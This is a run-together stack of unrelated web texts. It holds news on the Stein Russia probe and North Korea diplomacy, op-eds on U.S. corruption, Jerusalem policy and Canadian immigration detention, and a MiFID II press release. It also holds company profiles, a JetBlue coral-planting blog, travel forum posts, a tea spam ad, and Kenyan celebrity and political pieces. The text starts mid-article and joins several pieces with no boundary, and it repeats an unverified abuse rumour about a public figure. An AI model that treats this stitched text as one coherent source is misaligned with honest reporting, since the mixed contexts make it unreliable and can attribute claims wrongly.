Stein attended a 2015 dinner sponsored by Russian media outlet RT with Russian President Vladimir Putin. She said the documents show that she made the trip with the goal of reaching an international audience and Russian officials with messages of Middle East peace and international co-operation against climate change.

Senate Intelligence Committee Chairman Richard Burr, appeared to confirm the investigation Monday. Asked what the committee wanted to know about from Steins campaign, Burr responded: collusion with the Russians.

Stein received about 1 per cent of the popular vote in the 2016 election.

Read more:

Fox News sparks outrage with suggestion that Muellers Russia investigation is a coup

Trump pressured Republicans to end the Senate Russia investigation

Trump rules out firing Mueller as Russia probe studies transition records

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OTTAWACanada and the United States will co-host an international meeting on the North Korea crisis next month to turn up pressure on the reclusive nation and force it to the negotiating table to give up its nuclear ambitions.

The Jan. 16 meeting in Vancouver was confirmed Tuesday as Foreign Affairs Minister Chrystia Freeland met with her U.S. counterpart, Rex Tillerson.

Tillerson, on his first official visit to Ottawa as the U.S. Secretary of State, had a half-day of meetings with Freeland that covered Russian aggression in Ukraine, the political crisis in Venezuela, the ethnic cleansing in Burma, Canada-U.S. trade and border issues, and then ended with a sit-down with Prime Minister Justin Trudeau.

The situation in North Korea  and Pyongyangs continued weapons development and belligerent actions  dominated much of the discussions.

Tillerson said the world seeks to show North Korea a unified message that we will not accept you as a nuclear weapons nation.

North Korea leader Kim Jong Un has engaged in increasingly bellicose talk aimed at Washington as his country develops more and more advanced weapons technologies, highlighted by launches of new missiles that could threaten North America.

Tillerson and Freeland each signalled that they remain hopeful of a diplomatic resolution to the heightened tensions and made clear that international pressure, through economic sanctions, will remain and even toughen, to make negotiations happen.

Whats important for North Korea to know is that this pressure will not abate, we will not be rolling any of it back. It will only be intensified . . . It will remain in place until they agree to give up their weapons, Tillerson told reporters on Parliament Hill.

Freeland said shes confident that the international pressure will succeed in diplomatic engagement and a real conversation.

Next months meeting  which Tillerson dubbed as the Vancouver group  will involve foreign ministers from the countries that fought in the Korean War along with important regional allies, such as South Korea and Japan.

The countries will be looking at how to put additional pressure on the regime while also preparing for the prospect of talks, Tillerson said.

Prime Minister Justin Trudeau said he is looking forward to discussing NAFTA and North Korea with the U.S. Secretary of State, as he welcomed Rex Tillerson to Ottawa. Tillerson says he appreciates having candid talks with Canada. (The Canadian Press)

North Korea dominated the meetings between the two politicians but Canada made sure that NAFTA was high on the agenda as Tillerson met with the cabinet committee dedicated to Canada-U.S. relations.

With negotiations on a revised deal set to resume in Montreal next month, there are questions whether Washington, which has put several contentious proposals on the table, truly wants a new trilateral trade pact with Canada and the United States.

Canada has sought to counter some of the U.S. positions, such as rules of origin, with fact-based arguments, Freeland said.

Tillerson insisted that the U.S. administration is committed to continue making progress to modernize the trade deal. He said the U.S. wants a deal that is fair to both sides and preserves jobs. But as the old saying goes, the devil is in the details. . . . I think the next several weeks are going to be very important to those discussions, Tillerson said.

The two also talked about Russian aggression in Ukraine  where Freeland heads for a visit Wednesday -- and agreed on the potential for a peacekeeping mission though no other details were offered.

U.S. Secretary of State Rex Tillerson said Tuesday that he's willing to continue diplomacy with North Korea "until the first bomb drops." Tillerson spoke at the 2017 Atlantic Council-Korea Foundation Forum in Washington. (The Associated Press)

Read more:

Rex Tillerson offers peek at behind-the-scenes planning on North Korea

U.S. fighting against mention of climate change in new chapter of NAFTA, sources say

Putin phoned Trump to thank him for CIA tip on planned terror attack, Kremlin says

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The students in my 2017 graduate corruption class spent 14 weeks struggling to understand the many variants of corruption. They come to class recognizing that corruption is endemic. They know that every country  even the best governed  has some degree of corruption.

But they didnt know much about the direct and indirect effects of corruption or its relationship to trust. While they understand that corruption can undermine economic growth and political stability; they didnt realize that it can also, lead to efficiency losses, impede access to resources, such as credit or public health, reduce governance effectiveness, and erode democracy.

However, this semester my students saw a case study play out live as Congress debated the Tax Cuts and Job Act of 2017.

My students recognized that because, corruption is opaque, it cant be measured. Hence, we also study the strength of anticorruption counterweights, such as a free press, a system of checks and balances, auditors, accountability organizations or budgetary and spending regulations. etc.  that help citizens hold their government to account. Because anticorruption counterweights are visible, analysts can measure how effective they are.

Next, we examine the role of trust, which we can measure through public opinion surveys. When leaders act in a corrupt manner, they are abusing entrusted authority for private gain. Without trust among citizens of diverse means and education, governments cannot solve problems.

Moreover, societies with low levels of trust tend to have higher (or increasing) rates of economic inequality, ineffective governments, less optimism, closed markets and lower growth. And perhaps most problematically, once trust has been lost or damaged, it is hard to revive it.

Countries with strong and abundant anticorruption counterweights also tend to have higher levels of trust. But the U.S. doesnt quite fit this neat model.

The United States has strong anticorruption counterweights, such as an even-handed judiciary, strong accounting institutions, a free press, checks on executive and legislative power, and right-to-know laws, to name a few.

Yet the United States also has extremely low levels of trust. Only 18 per cent of Americans polled by Pew in 2017 said they could trust the government in Washington to do what is right. A slim 3 per cent thought that they could trust the government just about always, and 15 per cent felt that they could trust the government most of the time.

Deep inside this anomaly of a high-counterweights-low-trust system, the tax bill provides evidence of a system rife with corruption. The U.S. has high levels of grand corruption because political financing is considered free speech, allowing corporations and the rich to have significant influence over politics. Since the Citizens United decision by the Supreme Court, money has flowed directly to candidates who then feel they must respond to their donors needs.

The effects of the Citizens United decision became clear with final version of the Tax Cuts and Job Act of 2017. The bill was developed by Republican members who refused to co-operate with Democrats; they held no hearings on the specific language of the bill. Moreover, Republicans in Congress admitted that they were making these changes to the tax code to satisfy their major donors.

However, while Republicans argued that the plan would boost growth and create jobs, economists and the American public disagreed. The Joint Committee on Taxation found that the bill would stimulate growth by less than 0.08 per cent a year. The bulk of those polled saw the legislation not as a tax reform bill, but payback to donors who are often Americas wealthiest citizens and corporations. Overall, 71 per cent of voters say the plan will raise their taxes.

If the bill becomes law, it could have many negative consequences for the U.S. The architects of the bill paid little attention to its potential effects upon investment, infrastructure, education and productivity. The plan would increase the deficit and make it harder to invest in the goods and public services that increase growth (scientific and applied research, health care, education and infrastructure).

Finally, this bill will further exacerbate income inequality in the United States. Jason Furman, the former chair of President Barack Obamas Council of Economic Advisers, said that instead of stimulating long-term growth, the tax plan changes how the economic pie is shared. And last week, The New York Times concluded that the tax plans biggest cuts could be in living standards.

What kind of leaders would pursue a tax bill that worsens growth and inequality? Leaders who dont care about being accountable to voters. The same members of Congress ignore public opinion on gun control and health care.

Given this disconnect, my students and I likely share the conclusion that the United States, that former city on a hill, has become a kakistoctracy, a government by the worst people.

Susan Ariel Aaronson is a senior fellow at the Centre for International Governance Innovation and a professor at George Washington University who writes on trade, human rights and good governance.

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U.S. President Donald Trumps decision to recognize Jerusalem as Israels capital will neither doom the prospects of lasting peace between Israelis and Palestinians nor act as a catalyst for new talks between the parties. Rather, this policy is symptomatic of a bigger upheaval in Middle Eastern politics.

The cause of Palestinian statehood no longer tops the foreign policy agendas of the Sunni Arab world. Today, talks in the Middle East are dominated by a single issue: Iranian-Saudi relations. Iran, seeking to prevent a repeat of the catastrophes of the 20th century, seems intent on surrounding itself with friendly regimes to create pockets of support throughout the Arab world. In doing so, Iran has exported its republican-populist-Islamist ideology, which poses an existential threat to the regions hereditary rulers, including in Riyadh.

Since the Arab Spring, the rivalry between Tehran and Riyadh has intensified, and the last year has seen the strategic relationship between the U.S. and Saudi Arabia turn in earnest toward the threat both see in Iran. Trumps decision to decertify the Joint Comprehensive Plan of Action (or the Iran nuclear deal) aligns with Saudi policy and was almost certainly celebrated by Riyadh.

Saudi Arabia and Israel have likewise found common cause in containing Iran. Iran has invested so heavily to support the Assad government during the Syrian Civil War in part to have a friendly and subordinate government in Aleppo, giving Iran direct overland access to Lebanon. Hezbollahs refusal to make peace with Israel and reputation as a defender of the Palestinian people thus rubs off on Iran.

Being seen by the Arab world (but not their governments) as a supporter of Palestinians gives Iran another tool to divide any Arab coalitions that might form against it, but may have helped drive Israel and Saudi Arabia into an uneasy embrace.

It is against this backdrop  and rumours of a Saudi-authored Israel-Palestine peace plan, which no Palestinian leader could ever accept  that we have to understand Trumps Jerusalem policy. The days of official enmity between Israel and the Arab capitals may not be completely behind us.

Arab governments have come to accept Israels existence and can live with the status quo in the West Bank and Gaza, as well as the de facto status of Jerusalem as Israels capital. Other matters  low oil prices, grassroots demands for political accountability and reform, and the question of who will dominate the region  now dominate policy agendas.

Arab capitals may verbally protest the decision, but no one should count on a substantive or forceful reaction. The Organization for Islamic Cooperations call for members to take political and economic action against those who recognize Jerusalem as Israels capital should also give leaders some political cover, allowing them to take half-hearted measures against easy targets  such as companies that do business in Israel  rather than sanctioning Washington.

So, if Trumps Jerusalem policy was nothing more than a domestic political play to appease parts of his base, does it matter?

It certainly does. If the U.S. is serious about trying to revive peace talks in the region, this decision wont help. Palestinian President Mahmoud Abbas will need to dig in his heels and resist any American overtures to come to the negotiating table, lest he lose whatever confidence Palestinians still have in his administration.

Prime Minister Binyamin Netanyahu, on the other hand, now has a major accomplishment that he can point to while facing corruption charges.

Trumps decision also highlights the growing strategic gap between Europe and the United States, as the White House seems to prefer to throw away imperfect (but agreed upon) compromises with its old allies, in order to experiment with high-risk, low-reward formulas backed by a few Gulf states.

The question now is that if the White House is in fact eager to spurn old allies for new, and toss away flawed but hard-fought victories, do others go along, or do they try to revive old negotiating formulas and agreements?

So far, few countries seem to be inclined to follow Washingtons example. The stage seems set for the U.S. to drift further apart from much of the world about the Middle East.

Simon Palamar is a research fellow at the Centre for International Governance Innovation (CIGI). He is currently leading a project on the future of the postwar global order and its consequences for international security challenges in Europe, the Middle East, and East Asia.

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On Oct. 30, Canada Border Services Agency issued a brief news release. A 50-year-old woman had died in a maximum-security jail in Milton.

She might as well have been disappeared in a dictatorship for all the detail the agency provided. As the Stars Brendan Kennedy reported, the CBSA would not disclose the womans identity, country of origin or her cause of death.

We now know the woman was Teresa Michelle Gratton, a permanent resident of Canada from the United States, a mother of three sons and wife to Herb Gratton, her partner of 32 years.

We also know she was being held indefinitely in a maximum-security prison, based on the decision of one border services officer, though she did not pose a danger to anyone.

The circumstances of her imprisonment and death are unconscionable on a number of levels.

First, it is arguable that she should not have even been held at all in an immigration detention centre, never mind a maximum security jail with dangerous offenders.

Last year, in fact, Public Security Minister Ralph Goodale argued that detention in the immigration system should be a last resort. At that time he set aside $5 million to be spent on alternatives, such as the use of performance bonds, cash deposits or electronic reporting systems.

Second, we know Gratton was the 10th person to die in immigration detention in the last five years and at least the 16th since 2000. Yet because there is no civilian oversight of the CBSA, which would bring transparency through public reporting, we cant know whether a person should have been detained in the first place, never mind hold anyone responsible for the circumstances of her death.

The CBSA will finally get civilian oversight under provisions of Bill C-59, when that proposed legislation finally makes its way through Parliament.

But in the meantime there is nothing to stop the government from ordering the agency to find alternatives to detention for anyone other than the most extreme flight risks, those that are a danger to the public or those already in jail for a crime.

At the same time, the agency should be required to release details when someone dies in custody, just as corrections officials do. Sadly, at this point Herb Gratton says he still does not know what happened. I cant really grieve my wife.

Third, Teresa Gratton was deemed eligible for deportation because she had served nine months under house arrest for multiple counts of fraud under $5,000. Unbelievably, the border officer equated house arrest with a term of imprisonment, making her eligible for deportation.

As if to underscore the absurdity of that decision, 19 days after Gratton was detained the Supreme Court of Canada ruled it is unreasonable for immigration officials to equate conditional sentences, such as house arrest, with jail sentences.

Goodale has done much to try to fix the immigration detention system since the Trudeau government was elected. For example, in the last fiscal year Canada detained more than 6,200 people, down dramatically from the 10,088 detained in 2013-14 under the Harper government.

As well, Goodale invested $138 million last year to transform the system, including replacing two aging immigration detention centres and improving mental and medical health services for those being held.

Still, there is much more he could do to ensure that no one is detained unnecessarily again, or disappeared after dying in a jail.

The system must be made more accountable and transparent. Much can be done to achieve that even before a civilian watchdog is put in place to oversee the border services agency. Its up to Goodale to make it happen without delay.

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An AI threat bigger than killer robots: Opinion, Dec. 16

Artificial intelligence is the future of technology, we are told over and over again. Canada has invested, but needs to invest more, to be able to exploit this tantalizing future. Risks? There are some, such as the likelihood of jobs lost to smarter machines. Then there is the military, which will be hard to hold back from making autonomous weapons that can decide to kill on their own. But all that is manageable because it has been anticipated in plans for the future. All will be well. Except it wont.

The fundamental nature of AI is that the programming running the machine is intended to learn from its experience and to use what it learned to modify itself, its own program. It does not take too long for the resulting programming to become unintelligible to human programmers.

So what do we do when an AI system makes a mistake? How will we know that it made a mistake? Who will be the judge and who will decide that it needs to change and how? As long as AI is doing relatively simple things such as directing robots to fabricate products, its not such a big deal. What if AI is now running a complex chemical process and makes changes to amounts or even which ingredients are added? It takes little imagination to realize that many processes can pass beyond human understanding and control without our even being aware.

We are not talking about the Terminator here  it can be a simple as formulating your multivitamin tablet or brewing the next batch of insecticide. AI should be raising our anxiety levels far higher than it has to date.

David Kister, Toronto

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NEW YORK/ LONDON  Demonstrating its commitment to deliver a comprehensive suite of solutions to assist the financial services industry with ensuring ongoing compliance with impending MiFID II requirements, Thomson Reuters has expanded its e-learning capabilities with new compliance training courses designed to give organizations a clear, concise understanding of the regulatory framework mandated by the European Securities & Markets Authority (ESMA).

Thomson Reuters MiFID II compliance training suite clarifies the complexity of the legislation and provides a concise view of what organizations should consider with ongoing MiFID II compliance. Under MiFID II regulations, trading venues, approved reporting mechanisms, organized trading facilities, investment firms and sell-side firms will each have a significant reporting obligation to both ESMA and to their local regulatory body. MiFID II is intended to reduce the risks associated with what has been seen historically as light regulation, and ensure investors are treated fairly.

The stark reality is that many institutions are not fully aware of all their MiFID II obligations and therefore do not yet have the most effective compliance processes in place, said Stuart Martin, managing director, Risk Information & Learning Services at Thomson Reuters. Our MiFID II e-learning courses address the many questions we repeatedly hear from our customers, which are not only relevant for the firms themselves, but also apply to the individual employees of those firms. We remain committed to providing a clear and effective comprehensive suite of solutions that make a measurable difference in enabling our customers to meet new and ongoing regulations. Our e-learning suite is the latest demonstrated step along that journey.

Will Jan, vice president & lead analyst at Outsell, commented: A key barrier to adoption for regulatory solutions has been the steep learning curve involved. Many financial firms recognize the value to deploying a compliance solution to avoid business discontinuity. But the reality remains that if employees do not understand the implications of the regulatory requirements, or effective methods of using the compliance solution, the firm will fail to realize the true value of its compliance measures.

To support organizations in their ongoing compliance, and to raise employee awareness, Thomson Reuters suite of e-learning courses has been developed to cover the following four main areas:

MiFID II for the Buy-Side course helps buy-side employees to understand the focus on better investor protection, increased market transparency and integrity, and how this affects known market structures. Employees learn about the impact on such core categories as best execution, how different trading venues are defined, and what role a systematic internaliser plays.



MiFID II for the Sell-Side course educates employees working in sell-side organizations and positions by informing teams on what to consider differently with regard to trading obligations, high-frequency trading or market making. It details the different obligations on trade, transaction and position reporting.



MiFID II Market Structure course focuses on the new trading venue types allowed after MiFID II takes effect, and the key differences in the operation of these trading venues. Learners will be able to identify MiFID IIs impact on market transparency and integrity, and better understand systematic internalisers and dark pool trading.



MiFID II International Reach course explains the wide-ranging impacts of MiFID II outside of the European Union on trading, regulation and governance. International firms of all types operating in financial markets need to be aware of these changes, and their effect on both their business and the markets.

Thomson Reuters is committed to providing its clients with solutions to meet a wide range of MiFID II regulations. Announced initiatives to help its clients achieve MiFID II compliance include: a partnership with VisibleAlpha and enhancements to Eikon to assist in compliance for research unbundling; the introduction of an APA connectivity solution for trade reporting requirements; enhancements to its reference-data capabilities, available on its integrated data and analytics delivery platform, DataScope; a legal entity identifier (LEI) profiling solution; and enhancements to its Tick History feed.

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Thomson Reuters is the worlds leading source of news and information for professional markets. Our customers rely on us to deliver the intelligence, technology and expertise they need to find trusted answers. The business has operated in more than 100 countries for more than 100 years. Thomson Reuters shares are listed on the Toronto and New York Stock Exchanges. For more information, visit www.thomsonreuters.com.

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Sanofi, together with its subsidiaries, engages in the research, development, manufacture, and marketing of therapeutic solutions in the United States, Europe, and internationally. It operates through three segments: Pharmaceuticals, Vaccines, and Consumer Healthcare. The company provides specialty care products, including human monoclonal antibodies; products for multiple sclerosis, neurology, other inflammatory diseases, immunology, rare diseases, oncology, and rare blood disorders; medicines for diabetes; and cardiovascular and established prescription products. It also supplies poliomyelitis, pertussis, and hib pediatric vaccines; and influenza, adult booster, meningitis, and travel and endemic vaccines. In addition, the company offers allergy, cough and cold, pain, liver care, physical and mental wellness, probiotics, digestive, and nutritional products; and other products, such as daily body lotions, anti-itch products, moisturizing and soothing lotions, and body and foot creams, as well as powders for eczema. Further, it has various pharmaceutical products and vaccines in development stage. Sanofi has collaboration agreement with GlaxoSmithKline to develop a recombinant Covid-19 vaccine; and a research collaboration with Stanford University School of Medicine to advance the understanding of immunology and inflammation through open scientific exchange. It also has a collaboration and license option agreement with Prellis Biologics, Inc. The company was formerly known as Sanofi-Aventis and changed its name to Sanofi in May 2011. Sanofi was founded in 1973 and is headquartered in Paris, France.
RBC Bearings Incorporated manufactures and markets engineered precision bearings and components in the United States and internationally. It operates through two segments, Aerospace/Defense and Industrial. The company produces plain bearings with self-lubricating or metal-to-metal designs, including rod end bearings, spherical plain bearings, and journal bearings; roller bearings, such as tapered roller bearings, needle roller bearings, and needle bearing track rollers and cam followers, which are anti-friction products that are used in industrial applications and military aircraft platforms; and ball bearings include high precision aerospace, airframe control, thin section, and industrial ball bearings that utilize high precision ball elements to reduce friction in high-speed applications. It also offers mounted bearing products include mounted ball bearings, mounted roller bearings, and mounted plain bearings; and enclosed gearing product lines, including quantis gearmotor, torque arm, tigear, magnagear & maxum, and controlled start transmission. In addition, the company produces power transmission components include mechanical drive components, couplings, and conveyor components; engineered hydraulics and valves for aircraft and submarine applications, and aerospace and defense aftermarket services; fasteners; precision mechanical components, which are used in various general industrial applications; and machine tool collets that are used for holding circulars or rod-like pieces. It serves automotive, tool holding, agricultural and semiconductor machinery, commercial and defense aerospace, ground defense, construction and mining, oil and natural resource extraction, heavy truck, marine, rail and train, packaging, food and beverage, packaging and canning, wind, and general industrial markets through its direct sales force, as well as a network of industrial and aerospace distributors. The company was founded in 1919 and is headquartered in Oxford, Connecticut.
Aetna Inc. operates as a health care benefits company in the United States. It operates through three segments: Health Care, Group Insurance, and Large Case Pensions. The Health Care segment offers medical, pharmacy benefit management service, dental, behavioral health, and vision plans on an insured and employer-funded basis. It also provides point-of-service, preferred provider organization, health maintenance organization, and indemnity benefit plans, as well as health savings accounts and consumer-directed health plans. In addition, this segment offers Medicare and Medicaid products and services, as well as other medical products, such as medical management and data analytics services, medical stop loss insurance, workers' compensation administrative services, and products that provide access to its provider networks in select geographies. The Group Insurance segment offers life insurance products, including group term life insurance, voluntary spouse and dependent term life insurance, group universal life insurance, and accidental death and dismemberment insurance; disability insurance products; and long-term care insurance products, which provide the benefits to cover the cost of care in private home settings, adult day care, assisted living, or nursing facilities. The Large Case Pensions segment manages various retirement products comprising pension and annuity products primarily for tax-qualified pension plans. The company provides its products and services to employer groups, individuals, college students, part-time and hourly workers, health plans, health care providers, governmental units, government-sponsored plans, labor groups, and expatriates. Aetna Inc. was founded in 1853 and is based in Hartford, Connecticut.
How many steps will it take to walk off Thanksgiving dinner?
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JetBlues Check In For Good campaign treated a group of do-gooders to a volunteer vacation planting baby coral in The Bahamas ... and it was amazing.

Did you know that there is such a thing as a coral nursery? Even with all of my writing about nature and the environment, the workings of a coral nursery were new to me. But now that I've seen it with my own eyes  and actually helped plant baby coral in a beleaguered reef  I can tell you that it is very real, and exceedingly cool.

My adventures in coral tending came thanks to JetBlue who invited me to tag along with a group of winners from the airlines' Check In For Good contest. Entrants were given the chance to win one of three volunteer trips to help places in need. As part of the company's JetBlue For Good program, the volunteer trips were focused around the goals of supporting youth & education, community, and the environment.

One group of winners headed to Houston to create pop-up libraries and read to elementary students in low literacy communities that lost their libraries during Hurricane Harvey. Another group packed their bags for Jamaica to help paint, renovate and restore The Eltham Community Centre, a pillar of the community that offers everything from recreational activities and workshops to health care and services for animal clinics.

And then there were the coral nannies. Our group was sent to The Bahamas to help in the admirable work being done by marine ecologist Dr. Craig Dahlgren, of the Perry Institute for Marine Science, and the Atlantis Blue Project Foundation to restore one of the largest coral reefs in the world. Thanks to pollution, changing climate, and a host of other factors, the reefs are having a hard time of it  which is where the repopulation program has stepped in to help.

 Melissa Breyer | The location of Three Sisters reef.

 Melissa Breyer | Coral in a cooler on the boat.

We started our day bright and early with Dr. Dahlgren giving us an introduction to the restoration project and the work at hand, before heading out on a 30-minute boat ride to the Three Sisters reef. There we donned our snorkels, masks and flippers and plopped ourselves into the 78F degree water ... volunteer work is tough, but someone has to do it. Dr. Dahlgren and two other divers had scuba gear and did the actual planting (I'm using "plant" here as in "place or fix in a specific position," I know that coral is not a plant); the rest of us were in charge of swimming our baskets of baby coral from the boat to the reef and getting each precious piece to one of the divers working below.

 Melissa Breyer | A volunteer delivers coral to a diver.

 Melissa Breyer | A diver and snorkeler working on a section of reef.

The divers would scrub the attachment site with a wire brush, apply a non-toxic adhesive, and then glue the young coral to its new forever home. We planted around 100 pieces; each one mature enough to start producing new coral on its own.

 Melissa Breyer | Dr. Craig Dahlgren preparing the surface for new coral.

It was exhilarating work (that we were snorkeling in a Caribbean coral reef didn't hurt) and poignant. Although it's disconcerting that this needs to be done in the first place, seeing people like Dr. Dahlgren so dedicated that they plant snippets of coral one-by-one was a heartening thing.

The corals we planted were grown in two nurseries  one in a lagoon and the other a protected area off the shore. They are started from cuttings from naturally occurring coral and suspended from ropes, like lovely necklaces hanging from a laundry line, where they are monitored and tended to. They grow much faster in the nurseries than in the reefs. Once the corals are determined to be healthy and large enough, back to the motherland they go. The coral we planted was about two years old.

 Melissa Breyer | Checking the progress of a baby staghorn coral growing in the nursery.

We planted only finger coral, but the team works with staghorn coral as well. Dr. Dahlgren told me that in one area where staghorn had been completely wiped out, their replanting program has been so successful that the staghorn now comprises 10 percent of the reef's coral.

If you are wondering why all this effort is being expended toward coral, you can think of these reefs, as Dr. Dahlgren said, as the rain forests of the sea. Coral's presence and longevity is essential to the marine ecosystem as it provides food and shelter for other marine life. As the NOAA notes, "coral reefs are some of the most diverse and valuable ecosystems on Earth. Coral reefs support more species per unit area than any other marine environment, including about 4,000 species of fish, 800 species of hard corals and hundreds of other species." Reefs also add to local economies and help protect shorelines and preserve beaches, among many other benefits.

Handling the coral, seeing the fish that rely on it as they darted about with interest, being right there in the light-dappled water that the coral calls home ... it was a profound and humbling thing. I think we were all in a bit of a starstruck-by-nature reverie after that; which then went into overdrive when we got to visit a rescued hurricane-swept manatee who was being nursed back to health in order to return to the sea.

It was an incredible group of volunteers and I felt fortunate to be included. Even if there was a bit of an elephant in the room  which I know TreeHugger readers are likely wondering about: How does an airline company genuinely promote sustainability when they fly planes around the globe all day? I will say that meeting JetBlue's Head of Sustainability, Sophia Mendelsohn, on the trip was very eye-opening. If air travel is a genie that can't be put back into the bottle, the way forward is to at least make it as sustainable as possible. And Mendelsohn's authentic passion for and commitment to doing that is evident in everything from the company's recent signing of one of the biggest renewable jet fuel agreements in history, to having offset more than 1.7 billion pounds of CO2e emissions to date ... not to mention enabling a group of happy flippered swimmers help restore a reef, one hand-planted piece of baby coral at a time.

To calculate and purchase your own carbon offsets for travel, this cool tool from JetBlue and Carbonfund.org is an easy way to do so.
hey bb...we had dinner at the rooftop bar at breathless. the service was not good. there was puke in the sink of the ladies room for the whole 3 hours that we were there..the girls all spent time standing outside the mens bathroom so the other girls could use the toilet.. yes staff was notified right away..nothing was done.it was GROSS.. the food for 4 out of our 6 came out cold..like refridgerator cold..my tandori lobster was hot and awesome..others..not so lucky. The server at the end..when another person came and asked us for deserts said loudly" NO they ARE NOT HUNGRY ANYMORE" ..wow... The view was gorgeous. the service was horrible..the food was barely passable (because of the temps and the servers did not care) We heard the music from breathless thumping several nights (not all)... breathless is off our list for sure..hope it is better for you. Will say that another couple we met went there the night after us and had a totally different dining experience on the roof top..
Hello, after reading many forums here we (family of four with 2 girls 9 and 14) have decided to rent a car and drive ourselves, We are splitting our trip (8 days) between Arenal and Manuel Antonio. I have been reading about the guides and all and the prices are steep, I understand the guides may show us stuff we otherwise wouldnt be able to see/spot/understand, but can I still get some opinion from experts here on which (need a few names please) places in the above two locations are DIY pretty much for activities like below with our car, we would like to finalize ahead of us flying and may want to pay and book our slot(s).

Itinerary as below

Day 0 - arrive in SJO

Day 1 - drive to Arenal in the AM, planning to swing by Poas on our drive in

Day 2 - Activities in Arenal/LaFortuna Area

Day 2 - Activities in Arenal/LaFortuna Area

Day 3 - Drive to MA (any place worth stopping by for an hour or so for lunch etc?, Jaco?)

Day 4 - MA National Park/Beach

Day 5 - MA National Park/Beach

Day 6 - Drive back to SJO (anything worthwhile on the way in?)

Day 7 - Fly back.

Ziplines (Skytrek?)

Volcano Hike (is there a standard entrance, i heard many trails)

Waterfalls ?

Hanging Bridges (we can hike 2 miles roundtrip)

Hot Springs (which one is the best, most fun?)

Birds/wildlife viewing (i suspect we will see some in the hikes and bridges)

Beach (there is one in Manuel Antonio)

National Park hike/trek

Jaco area (anything to stop by on our drive in)

Not super keen on high octane action.. may rappel if needed.. may be a calm river cruise.. but again want to keep this vacation paced and not rush rush....

Thanks
Re: E-visa -Traveling from USA to HCMC -what to do when landing?

1. Re: E-visa -Traveling from USA to HCMC -what to do when landing?

"I have read that the e-visa means that a VOA letter and passport photos is not needed - is that true?"

Correct. You already have your visa.

"And what immigration line do we get in when we land in HCMC?"

Just go straight to immigration and queue up in any of the lines that say 'foreigner'.

Scott
Yes, its possible to visit by going to the JR Kure Station and visiting from there the Yamato Museum (Japan's Marine Self-defense Force Museum), the Japanese Maritime Self Defense Force Museum, the Kuro Harbour and etc.

If you contact private guides from Hiroshima I'm sure they would be able to conduct a tour there with you
I am also planning a similar trip. From San Jose to Fortuna to Monteverde and then to Manuel Antonio. We are going for 10 days and was thinking we would spend a few nights at each place. Does this sound reasonable??

The big decision is do we rent or do shuttles. My concern with the shuttle is that you don't have the flexibility of when and were to go/stop. Are there interesting places to stop in between our destinations?

Any advice at all would be appreciated!!
Is your company in need of the most reliable and efficient best Best Jasmine Tea s in the market? Your good luck led you to the ideal situation, so congratulations! You are in the best possible place. By eliminating the need to read through dozens of Best Jasmine Tea reviews, we are saving you time and stress.

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Julie Gichuru has footprints to her name in the media industry. She is fearless, innovative and a leader. Among the entire paradigm shift the conservative media has had, she had been a force behind it.

Julie Gichuru has redefined the style of news delivery making it appealing even to the younger generations. Did you know she pioneered interactive and live interviews during Television shows? Yes, this woman has done a lot in making conceptualized ideas are implemented. Taking into consideration all of these, it's hard to believe that Julie Gichuru beaten by husband.

READ ALSO: Jamaa ajuta baada ya kupatikana 'akichota maji katika kisima cha wenyewe'

The Inside Story, an Investigative series focused on issues of corruption, crime, inequality and governance is part of her great achievements.

Julie Gichurus life

Julie Gichuru is among the lucky lot who have studied through both the 8-4-4 system and the GCE system. She has a masters degree in law from the University of Wales Law School and an MBA from the Business School, same institution. However, she has never practiced law as she got a deterrent from unpaid practice to kick start the career.

READ ALSO: Celebrated TV screen siren Julie Gichuru pampers hubby as they celebrates 14 years of marriage

Her luck came when she passed an interview at the Standard Group, KTN and was assigned the legal and business departments. She later did radio, Capital FM before the Kenya Television Network groomed her for a position as a News anchor and reporter.

Julie Gichuru has also worked for the Nation Media Group and has been a long serving Digital Business Manager for Royal Media Services.

Julie Gichuru family setting

She is a mother of five, four to be precise since one choked and passed away. She is the loving wife to Anthony Gichuru whom she wedded in November 2003. However, the two have been together for 18 years as Julie recently revealed during their anniversary celebrations. Julie Gichuru husband, Anthony Gichuru is the son to KPLC boss, Samuel Gichuru.

READ ALSO: 12 celebrities who have effortlessly managed to steer clear of controversy

Julie Gichuru abusive husband

Some social media outlets have said that Julie Gichuru beaten by husband. They claim that Mrs. Gichuru is physically abused but has been hiding these facts from the public. Well, this iron lady came out to refute those allegations saying Anthony Gichuru has never hit her.

In fact she goes ahead to say women should not tolerate violence of whatsoever form. Julie described her husband as loving and caring, a man who treats her like a queen. Well, lets go by her words.

Source: TUKO.co.ke
- Controversial political analyst Mutahi Ngunyi wants President Uhuru Kenyatta to get Chief Justice David Maraga out of his way

- Ngunyi said in his analysis that Maraga is a political snake who can not be trusted to lead the judiciary

- Ngunyi accuses Maraga of breeding rebellion in the country and rebirth of outlawed criminal gangs like Mungiki

Jubilee leaning and controversial analyst Mutahi Ngunyi has warned President Uhuru Kenyatta against entertaining Chief Justice Maraga equating the Supreme Court judge to a political snake.

According to Ngunyi, the Chief Justice cannot be trusted following the historic decision in which the Supeme Court annulled Uhuru's August 8 victory.

Send 'NEWS' to 40227 to receive all the important breaking news as it happens

Ngunyi in his Fifth Estate analysis, accused Maraga of breeding rebellion in the country citing the resignation of Roselyn Akombe as IEBC commissioner, reemergence of outlawed militia like Mungiki and the rise of the amorphous Nairobi Business Community.

President Uhuru Kenyatta takes oath of office for his second term in office. Photo: PSCU

READ ALSO: Raila and Uhuru set to meet for the first time after Supreme Court upheld Uhuru's victory

To him, Maraga's ruling inspired crude rebellion like one displayed by Embakasi East MP Babu Owino who was caught on tape using unsavory words against Uhuru and the first family.

Ngunyi, in his episode in which he rates Uhuru and NASA leader Raila Odinga, he exhibits bitterness that the Supreme Court nullified Uhuru's win which he feels the CJ should be punished for.

Ngunyi suggests that Uhuru should stop his humble character and be like former Ghanaian leader Jerry Rawlings who was ruthless with dissents and like Uganda's Yoweri Museveni.

Political analyst Mutahi Ngunyi who says Chief Justice David Maraga is a political snake. Photo: Nation

READ ALSO: Jubilee Party confirms Raphael Tuju's whereabouts amid fears he was arrested in Tanzania

Mutahi dismantled all the accolades heaped on Maraga following the September 1 ruling, saying the CJ is a traitor of the country.

"It does not pay to be nice to Maraga," Ngunyi says in the analysis.

Maraga and Supreme Court judges who invalidated Uhuru's win received negative criticism from the ruling Jubilee with the Head of State promising to 'revisit' the Judiciary once reelected.

Chief Justice David Maraga gestures during a past court session. Photo: Nation

READ ALSO: ODM MP threatens to resign if Raila is not sworn in as president in two weeks

In the repeat election, Uhuru won with a wide margin after Raila withdrew from the race and all eyes are on him on whether he will keep his threat to revist the Judiciary.

Uhuru is on record calling Maraga and justices Philomena Mwilu, Smokin Wanjala and Isaac Lenaola as crooks.
